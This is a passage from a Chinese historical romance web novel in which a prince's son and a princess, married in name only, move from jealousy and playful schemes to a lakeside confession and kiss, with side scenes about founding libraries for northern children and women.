百里浔舟正抬手将最后一根红绳在床柱上系紧,闻言回首,看见封眠的瞬间,眼眸倏然一亮,“你回来了。” 声音里带着不易察觉的轻快。 他系好红绳,轻轻拍了拍手,走到她身侧,带着几分期待低声问:“怎么样?” “什么怎么样?”封眠愈发困惑。 只见他长臂一展,示意她看向屋内崭新的格局,“有没有觉得屋里面的风水变好了?” 他目光灼灼地瞧着封眠,心下未尽之语却是想问她有没有觉得他有何不同?可有觉得与他更亲近了些?可有感觉到缘分被加深后与他之间不同寻常的吸引力? 他什么时候开始在意风水了?九哥今日究竟带他去了什么古怪地方? 封眠犹疑地瞧着他,将心底的疑问直接问出口。 百里浔舟开始眼神游移,避而不答地扭过头去,“只是突然觉得换一换陈设,有新鲜感。” 封眠偏要追着探身去看他,将自己塞进他的视野里,“真的吗?可以前你从没在意过啊,九哥到底带你去哪儿了?” 百里浔舟抿紧了唇,侧过身去,不肯透露半分。 古怪。封眠眯起眼盯着他僵硬的身形,目光落回那床柱上轻轻晃动的红绳。 红绳,换什么风水需要系红绳? 喔,月老祠里许愿,都是系这样的红绳。封眠心下恍然,又觉得有几分好笑。看来小叔叔的主意好像是有些奏效,百里浔舟都开始“病急乱投医”了。 想到封辞偃今日的叮嘱,她悄悄瞟了百里浔舟几眼,酝酿着语气,故作随意地开口:“今日我与……煦之一起去城外接阿雪了。” 她将“煦之”二字吐得极轻,却像一颗小石子投入静湖,被百里浔舟敏锐地捕捉。他猛地扭过头,语气紧绷,“煦之是谁?” “是顾大人的字。”封眠装作随意的样子,在桌前坐下,“取《礼记》中‘煦妪覆育万物’之意,温煦仁厚,和他的名字还蛮相配的,是不是?” 百里浔舟只觉兜头被泼了一桶的醋,酸涩之气打心底直往上冒。才一日而已,怎就称呼上表字了? “与他这个人也很是相配啊。”封眠仿若未觉,继续添柴,“生就一副暖如阳春的模样。” 警铃大作,百里浔舟脱口而出:“你觉得他生得很好看?” “小叔叔也这般觉得呀。”封眠眨眨眼,语气无辜,“他不止一次与我称赞过顾大人风姿清雅。” 一个没注意,封眠又忘记了称呼顾春温的表字,好在百里浔舟已被铺天盖地的醋淹没了,没听出她的一时疏忽。 百里浔舟喉头一哽,那句“那我呢?我生得不好看吗?母亲也常赞我俊朗”在唇齿间滚了几滚,终究没好意思问出口。 他抿了抿唇,只闷声道:“我亦有表字。” “是吗?”封眠讶然回眸,“你从未与我提过。” 百里浔舟愈发心梗了,今年的生辰他是在战场上囫囵过去的,冠礼也未及操办,父亲只在军帐中为他取了字。 而那时他对封眠还尚未有什么心思,彼此生疏地互称“世子”“郡主”便已足够,他哪里会巴巴地跑去与她说自己的表字? 第82章 “父亲为我取字‘聿澄’,”百里浔舟取来纸笔,在宣纸上挥毫写就“聿澄”二字,笔锋锐利。 他语气郑重了些,“父亲说,愿我心境澄明,行事依法守律,如笔锋所至,清正不阿。” “只是平日里父亲母亲仍是唤我的小字,知晓我表字的人,其实并不多。”他偏头看向封眠,见她正专注地端详着他落于纸上的字迹,长睫轻眨着,在眼下投落一片小小的阴影,似蝶翼,又像落花。 “那为何你的小字是‘阿琢’?”封眠抬眼,一副纯然好奇的模样。 “玉不琢,不成器。”他低声答,眼底映着烛光,也映着她的身影,“父亲望我如璞玉,历经磨砺而不改志。” “嗯……”封眠双手托腮,无意识地轻轻呢喃,“阿琢……确实是一个好名字。” 听见自己的乳名从封眠的口中念出来,百里浔舟感觉心口仿佛被什么东西轻轻撞了一下,随即泛起一片空茫的酥麻。 他看见她撩起眼皮望过来,眸光温软,唇角含笑,带着一点亲昵的询问:“阿琢,我可以这样叫你吗?” 声音像羽毛一样轻轻搔过百里浔舟的心尖,他也跟着弯了弯眼,无声地点了点头。他脑中飞快地思索着,这是一个绝佳的拉近关系的好机会,一个专属的、亲昵的称呼,就像一条无形的线,能悄然将两颗心牵得更近。 有太多人知道她的乳名了,他想要一个独一无二的…… 他心头微热,带着几分试探与期待,轻声开口:“那我以后,可否唤你‘眠眠’?” 封眠有些意外地扬了扬眉,旋即笑弯了一双翦水瞳,“好啊。” 占卜真的有用!百里浔舟感觉自己轻飘飘地快要飞起来了,但接着就听封眠说道:“虽说你我日后总是要和离的,但仍能做很好的朋友嘛。” 咚一下,将百里浔舟又砸回了地面,他算是知道何为自食其果了。 翌日一早,百里浔舟主动去郡主府找褚景淇,路漫漫兮,他需要同盟相助。 甫一踏进褚景淇居住的客院,他便被眼前景象惊得脚步一顿。 清早的阳光并不炽热,明晃晃地落下来,褚景淇正大喇喇地躺在一张竹制摇椅上,脸上赫然敷着一层惨绿的泥状物,只露出眼睛、鼻孔和嘴巴,即便在青天白日里撞见,也显得分外诡异。 “你……”百里浔舟嘴角微抽,“你这是打算投身巫卜去跳傩戏,还是打算扮山魈吓人?” 褚景淇闻声,懒洋洋地掀开眼皮,因脸上糊着东西,口齿有些含糊:“啧,小百里,你懂什么?我这是在‘听卜辞,努大力’!” “你且说说,你将自己涂成这幅样子,是在怒什么力?” 褚景淇指了指自己脸上的绿泥,“这是我专门请人调配的养颜秘方,努力保养自我的容颜!你当女子就不挑剔男子颜色了吗?弥荼圣女那般人物,我若是个糙汉,如何配得上?” 百里浔舟皱眉,“歪理邪说。男子汉大丈夫,重在担当作为,岂在意皮相老嫩?”话虽如此,他脑中却不自觉地闪过顾春温那张温润清雅的脸,还有封眠与他夸赞顾春温“生就一副暖如阳春的模样。” 褚景淇仿佛看穿他的心思,嘿嘿一笑,瓮声瓮气地道:“哦?那你说说,那位顾大人生得俏不俏?傅公子俊不俊?小陆大人嫩不嫩?天底下身负才气又皮囊优越的男子多了,若只有你不注重保养,小小年纪就脸垮成一把年纪,与他们站在一处,谁会更得青睐?” 百里浔舟:“……” “我比他们年纪都小,定然老得也更慢些!”他驳斥完才觉得有些丢脸,懊恼地闭紧了嘴。 “光靠年纪小可不行,得养护!你还能年轻几年呐!”褚景淇来了劲,猛地从摇椅上坐起,捧起手边一个白瓷罐子凑近百里浔舟,“来来来,我这儿还有一罐上好的绿豆珍珠粉,清热润肤,效果极佳!看在你是我妹夫的份上,我与你有福同享!” “不必!拿开!”百里浔舟一脸抗拒,连连后退,一副宁死不从的模样。 客院外,墨松领着封眠穿花拂柳而过。 “小侯爷昨日还念着郡主呢,见到郡主,铁定高兴!” “那你一会儿莫要通传,且让我吓他一吓。” 行到院门边,两人默契地闭上了嘴,一言不发,轻手轻脚地进了院子,然后便看见院子里齐刷刷躺在摇椅上、脸上都敷着厚厚绿泥的两人,一时愣住,险些以为自己走错了地方。 百里浔舟紧闭着眼,身体僵硬地躺在椅上,一旁褚景淇闭目摇着扇子,颇为熟稔地指导他,“就这样躺着,一盏茶的功夫就好了。怎么样,是不是觉得脸上凉凉的,润润的?” 百里浔舟生怕崩裂了面上涂的粉,小幅度地张嘴:“别跟我说话。” 封眠捂住嘴唇,踮着脚尖,蹑手蹑脚地走到百里浔舟身侧,弯下腰,仔细端详着百里浔舟那张写满了“不情愿”却又乖乖躺平的绿脸,他脸上那层绿膜抹得并不均匀,额角还沾了一点未抹开的粉末。 封眠伸出手,两根莹白如玉的指尖轻轻抹上他额角的粉末。百里浔舟轻蹙眉峰,将脑袋往一旁侧了侧,躲开她的手,不耐烦地开口:“褚景淇,你别摸我。” 褚景淇一脸莫名其妙:“我什么时候摸你了?” 那方才的人是谁? 百里浔舟猝然睁开眼,便对上封眠近在咫尺,满是笑意的双眸,惊得险些从躺椅上摔下去,幸而他功夫练得好,下盘稳,腰腹一用力,便错身站了起来。 “眠眠,你怎么……你什么时候来的?” 眠眠?谁啊? 褚景淇睁开一只眼,想笑又怕脸上已经有些干硬的绿膜崩开,只抬手招了招,“小表妹,你何时来的?怎么不让人与我说一声!” 封眠也冲他招了招手,笑盈盈道:“刚到,这不是想给你一个惊喜嘛。你们这是在……?” “做美容嘛,我母亲常做的……” “咳,我见着有趣,便试了一试。”百里浔舟直挺挺地杵在原地,强装出一副镇定自若的模样,幸而面上糊着一层绿泥,也瞧不出他脸上烧起的红晕。 “你面上都没涂匀。”封眠忽然上前一步,再次伸出两根手指去抹匀额角的粉末。 微凉的指尖触上百里浔舟温热的额角,动作轻得像羽毛拂过。 百里浔舟抬手握住她的手腕,微微凸起的腕骨硌在他的掌心。 “把你的手都弄脏了。”百里浔舟看一眼封眠指尖沾染的绿泥,从怀中掏出一张手帕,珍而重之地替她擦起手指来。 躺在他手心的指掌纤细洁白,仿佛一尊冷玉雕就,让他的动作不自觉地便放得愈发轻柔。 封眠看手帕眼熟:“这手帕……是不是我的?” 百里浔舟:“……是啊,我洗净之后忘记还给你了。” 他瞧瞧手上已然沾上了绿泥的手帕,淡定地讲手帕卷好收起来,“又脏了,我洗净再给你。” 封眠垂眸,眼底含着笑意。 “一条手帕而已,小表妹你就送予他算了!”被忽视的褚景淇一个鲤鱼打挺从躺椅上翻身起来,顶着一脸将干未干的绿泥,走到院子一角的水盆前净面。 方才见百里浔舟擦的那么顺手,他都不好意思与他们说院中有水了。 褚景淇胡乱摸了几把脸,忽然想起什么,抬起脑袋,眯着眼睛往院门口瞧了瞧。 “稀奇呀!”他甩着手上的水珠,故作惊讶地扬声说道,“今日太阳是打西边出来了?那位傅公子怎么没像个牛皮糖似的跟在你屁股后头了?” 他一面说着,一面拼命朝坐在一旁的百里浔舟使眼色,眉毛都快飞起来了,那意思再明显不过:快!趁此良机,赶紧表达一下你身为人夫的不满!宣示主权啊! 然后就见百里浔舟那个“没出息”的弯起嘴角冲封眠露出一个笑来,眼神软得像化开的春 水,“你今日是不忙了吗?” 会是特意甩下小叔叔来找他的吗? 封眠背过手去,目光在他和褚景淇之间转了转,笑道:“我来找九哥。” 她说着看向褚景淇,“九哥你什么时候要给弥荼写信的话,帮我催一催我要的种子。” 褚景淇正在费劲巴拉地清理脸上的绿泥,闻言头冒问号:“你为何不自己与她说?” “那就太正式了,难免给她一些咄咄逼人的压力,自然还是你来比较好。好了,我没事了,这便走了,顾大人他们还等着我呢。” 封眠说罢,脚步轻快地转身离开。 其实只传一句话,她是没必要亲自来的,可听说百里浔舟跑来找褚景淇,她担心褚景淇又诓他做什么奇怪的事,才特意亲自跑了一趟,现下可以放心地走了。 百里浔舟失落地垂首。 眼瞅着封眠的身影消失在院门外,褚景淇简直痛心疾首。他几步窜到百里浔舟面前,叉着腰,一副恨铁不成钢的模样:“小百里!你能不能拿出一点身为‘正宫’的气势来?!” 百里浔舟被他一嗓子吼得头疼,揉了揉额角,然后便沾了满手绿泥,无语地转身去净面,并打断他即将长篇大论展开的“傅辞偃威胁论”。 “别嚷了……”搞错对象了啊九哥。 百里浔舟不得不将自己与封眠目前的表面夫妻关系讲与褚景淇听,连带着最初他几次三番提及和离的事都和盘托出。 褚景淇惊得差点跳起来,像是听到了什么天方夜谭,打了个磕巴问:“那你现在是想怎么办?” 百里浔舟用沾水的巾帕擦净了面上的绿泥,露出白净漂亮的一张脸来,眉宇锐利飞扬,“自然是先寻个合适的时机,清楚楚地告诉她我的心意。至于她接受与否,暂且也不重要。眼下最要紧的,是不能让她再觉得我仍想与她和离。” “否则不管我做什么,她怕是都不会想歪。” 褚景淇听罢,长长地“唉”了一声,抬手重重拍了拍百里浔舟的肩膀,语气里充满了同情和一丝幸灾乐祸:“搞了半天,都是你自己挖的坑,现在得一铲子一铲子往回填喽!” 第83章 云中郡城南,一座空荡的馆舍内,工匠们正往来忙碌着。 “你怎么突然想起要建书馆?”封辞偃与封眠站在屋檐下,看着馆舍内逐渐搭出雏形的一层层书架。 “也不算是突然想起吧,其实初来几日我便发现了,北地从军投戎的孩子,远多于读书科举。” “北地苦寒,文风向来不及江南鼎盛。自古以来,便有南北文人相轻。况且北地动乱频仍,刀枪剑戟拿在手上,许才是他们感到安心的关键。你指望几处书馆,便能让北地的孩子们多去科举吗?” “读书是为了明理,不止是为了科举啊。便是大将军也多要学些兵法,哪有那么多用兵如神的天纵奇才?我多设几处书馆,让北地的孩子有书可读,有师可从,日后无论从文从武,脚下根基总是稳的。” 封眠负手看向封辞偃,狡黠地勾勾唇角:“你与父亲行军作战时,读军报也需会识字呀。” 封辞偃失笑,颔首道:“受教了,郡主殿下。是我狭隘了。” 正说着,槐花抱着几册账本匆匆从外头走进来,额上沁着细汗。她将账本递给雾柳,又跟封眠汇报了一番作坊近况,准备告辞时,羡慕的目光终于不再掩饰地溜到了初具规模的书馆上。 “这么大的房子,以后都要拿来装书吗?” “是啊。” “真好啊,这么多书!”她有些失落遗憾地低下头,“我如今学字用的书,还是柳姑娘送我的那一本呢。” 封眠抬起手,指尖在她发间很轻地拍了一记,“还想读更多的书吗?” “想!当然想!”槐花脱口而出,眼睛亮晶晶的。 “女子书馆也在建,只是不在此处罢了。”封眠微微弯了弯眼,“我听说京中有好几位的闺塾师,才学斐然,专教闺阁女子读书,我已经请人帮忙去问问她们是否愿意来云中郡坐馆。到时书馆中不仅可以读书,凯能开设许多课程。” 槐花愣住了,简直不敢相信自己的耳朵:“女子……女子也能正大光明地坐进学堂读书吗?”她声音微颤,“我从前偷趴在学堂窗外学几个字,被夫子发现,还狠狠训斥了一顿,说女子读书不如学刺绣做饭,相夫教子……” 封眠摇摇头:“那你遇着的这位夫子定是个读坏了脑子的迂腐之人。我自幼便是舅舅亲手启蒙,他从未说过什么女子不可以读书之类的话,难道这些人还能压得过陛下去吗?” 槐花望着封眠清亮的眼眸,胸中一股热气涌上,重重地点了点头,“郡主说得对呢!” 后头的流萤也没忍住,探头出来道:“郡主去念书时,我们也是要陪读的,哪里就不能读书啦?你回去可要与大家说,日后书馆开了,都要来捧场。” “嗯!”槐花郑重应了一声,兴冲冲地告辞去了,脚步都轻快了许多。 封辞偃想,虽然他很讨厌嘉裕帝,但不得不说,他似乎挺会带孩子的。 封眠没再待在馆舍内影响工人们劳作,转身带着众人离开。 刚出馆舍的大门,便瞧见外头有好些百姓探头探脑地瞧她。 她停下脚步,大大方方地看过去,“诸位可是有事要与我说?” 几名百姓对望一眼,齐齐走近了些,一位老者搓着手,期期艾艾地问:“郡主……您和世子殿下,近来可还安好?是不是……是不是闹什么不愉快了?” 封眠没想到他们是要与自己说这个,一时愣了片刻,没来得及说话。面前的百姓顿时以为自己猜对了,顿时面露担忧之色。 “你们那位世子殿下什么脾性,你们还不了解吗?”封辞偃看热闹不怕事大,抱臂凉凉开口。 哎哟,果然还是世子殿下的错! 一名慈祥妇人忙替百里浔舟说好话:“世子殿下就是面冷,心是极好的!郡主你们有什么误会,可千万要坐下来好好说,小夫妻哪有不吵嘴的?” 封眠哭笑不得,正要解释,便见一个梳着双丫髻的小姑娘挤到前面,仰着脸怯生生地问:“郡主殿下,您会一直留在我们北疆吗?就算……就算以后不和世子殿下在一起了,也会留下吗?” 小姑娘一双眼睛紧张地瞪得溜圆,封眠瞧得有趣,俯身笑问:“若是我不留下呢?” 小姑娘一听这话便有些急了,舌头都快转不过弯来,慌里慌张地组织语言:“那去哪儿呢?要记得……得……能不能带上我们呀?” 几个半大的孩子自小姑娘身后探头出来,眼巴巴地望着封眠。 封眠心下好笑,又感到很温暖,柔声道:“放心,我会留下的。” 众人仿佛齐齐松了口气,才有人想起来找补道:“哎呀都说什么丧气话呢,郡主和世子殿下定然会和和美美的。不过当然啦,我们自然都是支持郡主殿下的!” “正是,郡主您便是与世子吵架了也不怕,咱们都护着您!” “好好好,那我先多谢各位了,多谢。”封眠忍笑回复着百姓们的好意,一个个将他们送走了。 封辞偃在一旁瞧着,悠悠笑道:“瞧见没?民心所向,大家可都不站在百里小子那边。” “你就挑刺吧。”封眠瞥他一眼,“若没有世子与王爷守疆卫土,让北疆得以安宁,我哪来的余地做这许多事?” “好好好,我不说他了。”封辞偃无奈摇头,“对了,待会你随我……” 他话音未落,便见一道身影自街角处狂奔而来,一手压着翻飞的官袍,焦急又狼狈,正是陆鸣竹。 “陆大人!”封眠扬声唤住他,“何事如此匆忙?” 陆鸣竹闻声刹住脚步,一见是封眠,顿时长长舒了口气,撑着膝盖喘气道:“殿、殿下!太好了,您还在这儿 ……” 他缓了口气,苦着脸解释:“今日出门,马车刚行出几步,车轮竟突然脱落,幸而刚走不远,立即寻人来修车,结果拉车的马匹又不知吃坏了什么,当街腹泻不止……下官生怕误了郡主所邀的时辰,只得徒步赶来了。” 封眠听得一头雾水,误了她所邀的时辰?她今日并未邀约任何人啊? 她下意识地看向身旁的封辞偃,却见小叔叔唇角噙着一抹高深莫测的笑意,“喔,是我以你的名义下的帖子。” 封眠心觉不妙,凑近两步,低声问道:“你要干什么?” “先前那些只是隔靴搔痒,不痛不痒的,依我看,是时候下一剂猛药了。” 不详的预感笼罩住封眠。 另一边的庄园内,成立虚抱臂看着来接自己一同赴宴的顾春温,欲言又止。 面前的顾春温长身玉立,并未穿官服,而是换了一身雨过天晴色的杭绸直裰,腰间束着玄色宫绦,坠着一枚品相极佳的羊脂白玉佩。发髻以泛着温润光泽的竹节白玉簪束起,站在那里就是一幅活的水墨画,端的是清雅无双。 虽是低调含蓄,并不张扬,但还是让成立虚看出了一股“孔雀开屏”的意味。 顾春温:“你还要站在这里看我多久?” 成立虚止言又欲:“……你穿成这样,你……” 他凑近些,压低声音:“你司马昭之心!” 顾春温瞥他一眼,倒不意外被他看出了点什么,浑不在意道:“那又如何了?我都不怕,你担心什么?” 成立虚左右瞧瞧,唯恐隔墙有耳,赶紧拉着人上了马车,小声道:“你别闹,难道你还真要给郡主做个面首不成?” 顾春温挑眉,故意做出一副考量的神色,便见成立虚瞳孔都震了起来,才慢悠悠道:“谁说一定要做面首了?” “我就知道顾兄不是那等拎不清的……” “做个入幕之宾也不错。” 马车碾过凸起的石块,成立虚身子一晃从座椅上摔落,磕得龇牙咧嘴,“你连名分都不要……不对,这不是重点,你年纪轻轻,前途大好,非要摘一朵旁人院子里的桃花做什么?” “更何况,人家还没把枝条探到你面前硬要你摘!” 顾春温以手支颐,向外望去,将成立虚的话当做耳旁风。成立虚说得确实不错,不过他今日也不是冲着摘花去的。封辞偃这些日子搞的小手段,他都看在眼里,能给百里浔舟找点不痛快,他自然乐意帮忙添一把柴。 他都有些迫不及待想要瞧一瞧今晚百里浔舟的脸色了。 暮色渐浓,云中郡一处临湖水榭旁,褚景淇正忙得脚不沾地。 “这边!花盆再往左挪一点!”他指挥着侍从将一盆盆初绽的晚香玉摆好,又回头检查悬挂在檐下的八角绢纱花鸟灯是否都已点亮,继续指挥着侍从们干活,“还有这纱幔,太厚了,拆掉两层,要做出一种朦胧的效果!” 百里浔舟站在亭子里,看着眼前这越来越浮夸的布景,眉头微蹙:“小侯爷……” 褚景淇受伤地看他,百里浔舟改口:“九哥,这是不是太过了一些?” 他原本只想寻个安静雅致的地方,与封眠好好说几句话。 “哎呀小百里,你这就不懂了!”褚景淇凑过来,握住他的手,一副过来人的神色,“氛围是最重要的!到时候灯影摇曳,花香浮动,水波粼粼,你再深情款款地望着她……保管事半功倍!” 百里浔舟犹疑片刻,选择还是相信褚景淇的安排好了,身为九哥,他定然是更了解封眠喜好的。 这时,也不知哪里来的四五个百姓结着队路过,窃窃私语顺着晚风隐约飘了过来。 “……听说了吗?郡主今日在郡主府设宴,说是要选面首呢!” “真的假的?” “我可是看见顾大人盛装去了!” “何止呢!听说还有好些个青年才俊。都是当初跟着郡主仪仗从京城来的,那可都是陛下为郡主精心挑选的……” 百里浔舟的耳朵瞬间捕捉到“选面首”三个字,心头一空。 褚景淇也听见了几人的谈话,先是愕然,随即没忍住笑了出来,拍腿道:“你别说,这还真像我那位皇伯伯能干出来的事儿!他对小表妹可是……” 他话未说完,只见百里浔舟已一阵风似的卷了出去。 郡主府花厅内,丝竹轻响,茶香袅袅。 封眠端坐主位,看着下首几位确实堪称“才俊”的年轻人,以及神色自若、仿佛真是来赴宴的顾春温,和略显局促的陆鸣竹,心中那点因欺骗而来的愧疚感越来越浓。 她只坐了片刻,便再也无法安心,倏然起身。 下首顾春温投来略有些惊讶的一瞥。 一旁的封辞偃懒洋洋地侧首,挑眉:“戏才刚开场,你这是要去哪儿?” 封眠脚步微顿,轻声道:“他一定会来的。但我用这种方法试探他,不好。” 她望向厅外渐沉的夜色,眼中露出一丝懊悔:“若换做是我,易地而处,定然会难受得心口发疼。将心比心,我不该让他受这种煎熬。” 话音方落,她便提起裙摆,快步向外走去。 第84章 街巷之上灯烛如星,青灰砖瓦间飘起晚膳的炊烟,行人或赶着归家用饭,或寻一小店饭摊点膳,没生意的铺子前,店小二蹲在门边石墩子上吸着汤饼,无聊地张望着来往的路人。 一辆挂着“封”字牌的马车急急地拐了进来,行至长街另一头,又向右侧拐去。这是郡主赶着回王府用晚膳呢? 就在马车行在转弯处时,百里浔舟策马自左侧疾驰而来,恰好擦着马车的尾巴过去。 店小二含着汤饼纳闷,世子爷这个点不回王府,是要上哪儿去呢? 马车内,封眠听到疾驰的马蹄声,莫名地掀开车帘一角向外望了一眼,恰好捕捉到百里浔舟如风般掠过的身影。 “停车!”她不及多想,脱口喊道。 马车不前不后的停在巷子拐角处,封眠不等流萤下车来扶,便已提着裙摆跳下了车辕,一阵金玉叮咚乱响之声,脑后步摇掉落在地也全然未觉。 她站在路口处眺望长街,灯火掩映着熙攘人群,其中并没有百里浔舟的身影。这时她方才惊觉,他既然骑着马,在她停车下车的这会子功夫里,应早就跑得不见踪迹了。 看方向,他定然是去郡主府的,现下上马车折返,应当还能追得上。 封眠正要转身上马车,就见一道骑在马上的身影绕过堆着货物的驴车,出现在她的视野中,迅速向她跑来。 方才与马车交错的瞬间,在一片嘈杂声中,百里浔舟敏锐捕捉到了封眠的声音,有些不敢置信地勒马急停,身形恰好被身后路过的赶货的驴车遮挡,只是他视野高一些,隔着堆叠的货物望见了封眠张望的身影。 她是在找他吗? 他脑中一瞬空白,下意识策马折返,在距封眠几步之外翻身下马,阔步奔至她身前,气息急促,眼睛亮晶晶地黏在封眠身上,带着急切和庆幸脱口而出:“你没去……!” 话音未落,他便敏锐地察觉到四周若有若无投来的视线,街边的商贩与路过的行人,都在偷偷打量着他们二人。 他立刻将未尽之语咽了回去,不由分说地拉起封眠的手,低声道:“此地不便说话,我带你去个地方!” 百里浔舟扶着封眠利落地翻身上马,自己随即跃上,将她稳稳护在胸前,一扯缰绳,骏马便朝着来时的方向飞奔而去。 夜风在耳边呼啸,灯烛的光在两侧模糊成一道亮影,颠簸中,封眠的后背几乎贴在百里浔舟的胸膛之上,能感受到他胸膛传来的急促心跳,与自己擂鼓般的心跳渐渐重合。 四下逐渐寂静,只余风声与虫鸣叠响,点点灯火逐渐出现在封眠眼前,映着波澜湖水,与星月交相辉映。 湖中水榭三面垂着薄透轻纱,被风卷起在夜色中飘扬,宛如一道轻扬的、可触摸的月色。 百里浔舟扶着封眠下马,紧张地牵住她的手,踏上通往水榭的廊桥。两侧晚香玉幽香浮动,在两人周身缠绕着不肯散去,夜风卷来潮湿的水汽,将一切都搅得更为浓稠靡丽。 他的指掌感受着她掌心的温度和柔软,耳边是一步一步轻敲在廊桥之上的足音,慢慢的,他激烈跳动的心也随之缓缓静了下来,紧张的感觉尽数化为了孤注一掷的勇气。 粼粼湖水漾起轻柔的水声,他于亭中站定,郑重地望向封眠,声音坚定而清晰:“眠眠,我不想与你和离。” 他眼中映着落有星月的潋滟湖水,月光透过雪白的薄纱,在他身上落下一层霜雪一般的朦胧光影,漂亮到锋锐得眉眼被纱影滤出几分柔美。 封眠几乎能预见他接下来要说的话,还未听入耳中,便已觉热气先腾地泛上了脸颊。 耳边滤去了风声、水声、虫鸣声,只闻得他略微有些发紧的清脆声音,如金玉之鸣,似磬音回旋:“我心悦于你,想与你做真正的 夫妻,一生一世一双人。” 奇怪,方才明明没有饮酒,为何此刻却有了醺然的晕眩之感? 见封眠只是望着他不说话,百里浔舟心下忐忑,急急忙忙补充道:“我喜欢你是我的情意,你千万不要觉得负担。无论你心意如何,我都接受。只是……我不想你再误会我仍想与你和离,看不见我对你的心意。我希望你日后能认真地考虑我……” 他的话音戛然而止,身前的封眠忽然上前一步,踮起脚尖,一手勾住了他的脖颈向下轻轻一压,然后在他的唇上落下一个轻柔如羽的吻,打断了他所有冥思苦想的腹稿。 热气扑在他的颊侧,烘得他脑海中一片空白,耳边蓦地响起有如擂鼓一般的心跳声,思绪被抽离,五感在瞬间消失了四感,只有唇间的温热昭示着极强的存在感。 他手足无措地僵在原地,失去了所有的反应能力,只睁着眼,难以置信地看着近在咫尺的容颜,看着雪白的肌肤,渐渐染上早春盛开的桃花一般艳丽的粉。 仿佛过了许久,又仿佛只过了片刻瞬息,封眠松开手,抽身退开两步,脸颊绯红,带着盈盈笑意的眼眸垂下去,声音轻快地说起了不相干的话:“我饿了,我们回去吧。” 空气依然是静的,面前的人像是被点了穴一般呆立着,若不是晚风吹起他的袍角,就好似水榭中只有她一个人一般。 是她的答复还不够直接吗?贝齿轻轻咬了下淡绯的唇,封眠迟疑地张了张水润饱满的唇,思索着自己是不是应该再说点什么? 眼前忽地压下一道黑影,百里浔舟俯下腰身,自低矮处凑了上来,鼻尖几乎抵上封眠的,漆黑的瞳仁定定地凝在她脸上片刻,他能清晰地看见她微微颤动的长睫,视线沿着她挺俏白皙的鼻梁下移,看见柔嫩的唇瓣上一道浅浅的齿痕。 在他凑近的瞬间,她的唇便已闭上了,他的视线在其上流连,描摹出极好看的唇形。 两人呼吸相闻,好半晌,封眠也没有躲开,只是飞快地掀起眼帘,在他面上看了一眼,似是疑惑,又像是无声的催促。 百里浔舟便大胆地迎了上去,柔软的唇瓣贴住她的。 起初就只是单纯地贴碰着,方才唇上的温软一闪而过,他还没来得及好好的体味,现下感受着唇瓣柔软的、花朵一样的触感,酥酥麻麻的感觉逐渐流向四肢百骸。 心底燃起灼热的火。 他贴着他的唇轻轻厮磨,干燥的渐渐濡湿,微凉的渐渐滚烫,遥远的渐渐贴近,直至淹没彼此之间的所有空隙。 宽大的手掌覆在封眠的腰间,修长的五指几乎环握住她纤薄的腰身,滚烫的掌的温度透过夏日轻薄的衣衫,贴到腰侧的皮肤之上。指掌间粗粝的茧磨着娇嫩的皮肤,带起乱七八糟的痒和颤栗。 封眠像一片被雨打湿的叶子,微微颤动,怕痒的腰肢想要向后逃,却被更用力地揽抱着,贴向身前滚烫硬朗的身躯。 百里浔舟像太过喜欢人类的小狗,不得章法地表露着好感,濡热的薄唇将人的皮肤舔得湿漉漉,沾染上属于他的味道。 远处骤然炸起焰火,巨响惊得两人一抖,百里浔舟的动作顿了一瞬,封眠骤得喘息,便撇过头去不肯再给他亲,一面急促地呼吸着湖边潮湿微凉的空气,一面抬起软而无力的手掌去推他。 环抱的手臂拥得更紧,百里浔舟将头埋在她颈侧,黏糊糊地软声耍赖:“让我再抱一会儿。” 低哑的嗓音掺杂着淡淡的克制的欲,示弱的语气让封眠心头一软,任他将毛绒绒的脑袋在她颈侧轻蹭,高挺的鼻尖带着一点被晚风吹得冰凉的汗水贴在她热烫的脖颈,喉咙间微微泛起痒意,说不出拒绝的话来,只能闭上眼,缓一缓方才绵延生涩的吻带来的眩晕感。 天边炸响的彩焰将飞扬的薄纱染上了斑斓的色彩,错乱的光影划过相拥的人影,百里浔舟高束的马尾垂落,被风吹着,卷在两个人的身上,不分你我。 湖对岸半人高的草丛间,褚景淇骂骂咧咧地拍着扑在他脸上、身上的虫子,又得意地仰起头看照亮半边天幕的焰火,哼哼两声,“这月色,这焰火,多浪漫啊。小百里,你可要好好感谢我!” 夜色稠得化不开,藏弓院的寝屋内厚厚的灯罩下来那亮着一豆灯火,勉强地映亮一点垂落的床幔。 睡在外侧的人影忽地轻轻翻身,百里浔舟侧身去牵身旁封眠安然的睡颜,眼底的笑意压也压不住得流淌出来。 他静静看了半晌,忽然小心地坐了起来,轻手轻脚地下了床。 王府的各处院落都已灭了灯,唯有巡逻的侍卫手中提着六角灯笼,行过一如既往风平浪静的庭院,路过定北王书房时,众人忽然脚步一顿。 窗内,一点模糊的灯影晃动着。 当先的侍卫倏地带队冲了进去,厉喝一声:“小贼休走!” “小贼”站直了身子,缓缓转身,手中的灯笼映亮百里浔舟面无表情的脸,冰冷的目光扫过突然闯进来的无名侍卫。 侍卫们当即缩了脖子,齐刷刷地恭敬垂首:“世子殿下!” 百里浔舟冷声道:“我来找几本书,忙你们的去。” “是!”侍卫们忙不迭地转身离开,挨挨挤挤地从门边出去后还不忘帮忙将门关上,凑在一起窃窃私语,“这么晚了世子殿下还在找书,怕是遇上了什么难题。” “少将军到底是少将军,这般好学!” 书房内,百里浔舟尴尬地将几本写有类似《风月传》标题的书册塞进了怀里。 第85章 夜色深深,万籁俱寂,夜半时分睡不着的,又何止偷偷摸摸去找禁书来看的百里浔舟。 郡主府高筑的望月楼顶,封辞偃斜倚在冰凉的青灰瓦片上,屈起一膝,手边散乱地放着两坛烈酒。 他豪放地对月而饮,大片的酒液打湿了胸前的衣襟,被夜风吹过,冷冷地贴黏在肌肤上。 他却浑不在意地对着虚空举了举酒坛,酒意晕染的眼眸晶亮,有些少年模样,“阿兄,小满长大了,有了自己喜欢的人。也与你当初一样,勇敢得很,半点委屈都舍不得让他受。” 他顿了顿,喉结滚动,又灌下一口酒,语气染上几分复杂的嘲弄。 “只是……那小子与你一样,不,只怕他还不如你呢。他百里家年年戍守北疆,面对的是虎视眈眈的北夷,脑袋拴在裤腰带上的日子,比你还多。” “你总说后悔当年去招惹嫂嫂,害她总要独守空闺,连生产时你都未能陪在身边……所以也不想小满再嫁个武将,最好是能一辈子待在京中,平平安安便好。” “也不知你泉下有知,是忧是愁。不过这事你得怪在狗皇帝头上,这婚事是他亲口赐下的!” 夜风卷着他的低语,散入无边夜色。他沉默片刻,望着脚下郡主府中零星未熄的灯火,最终化作一声释然的轻叹。 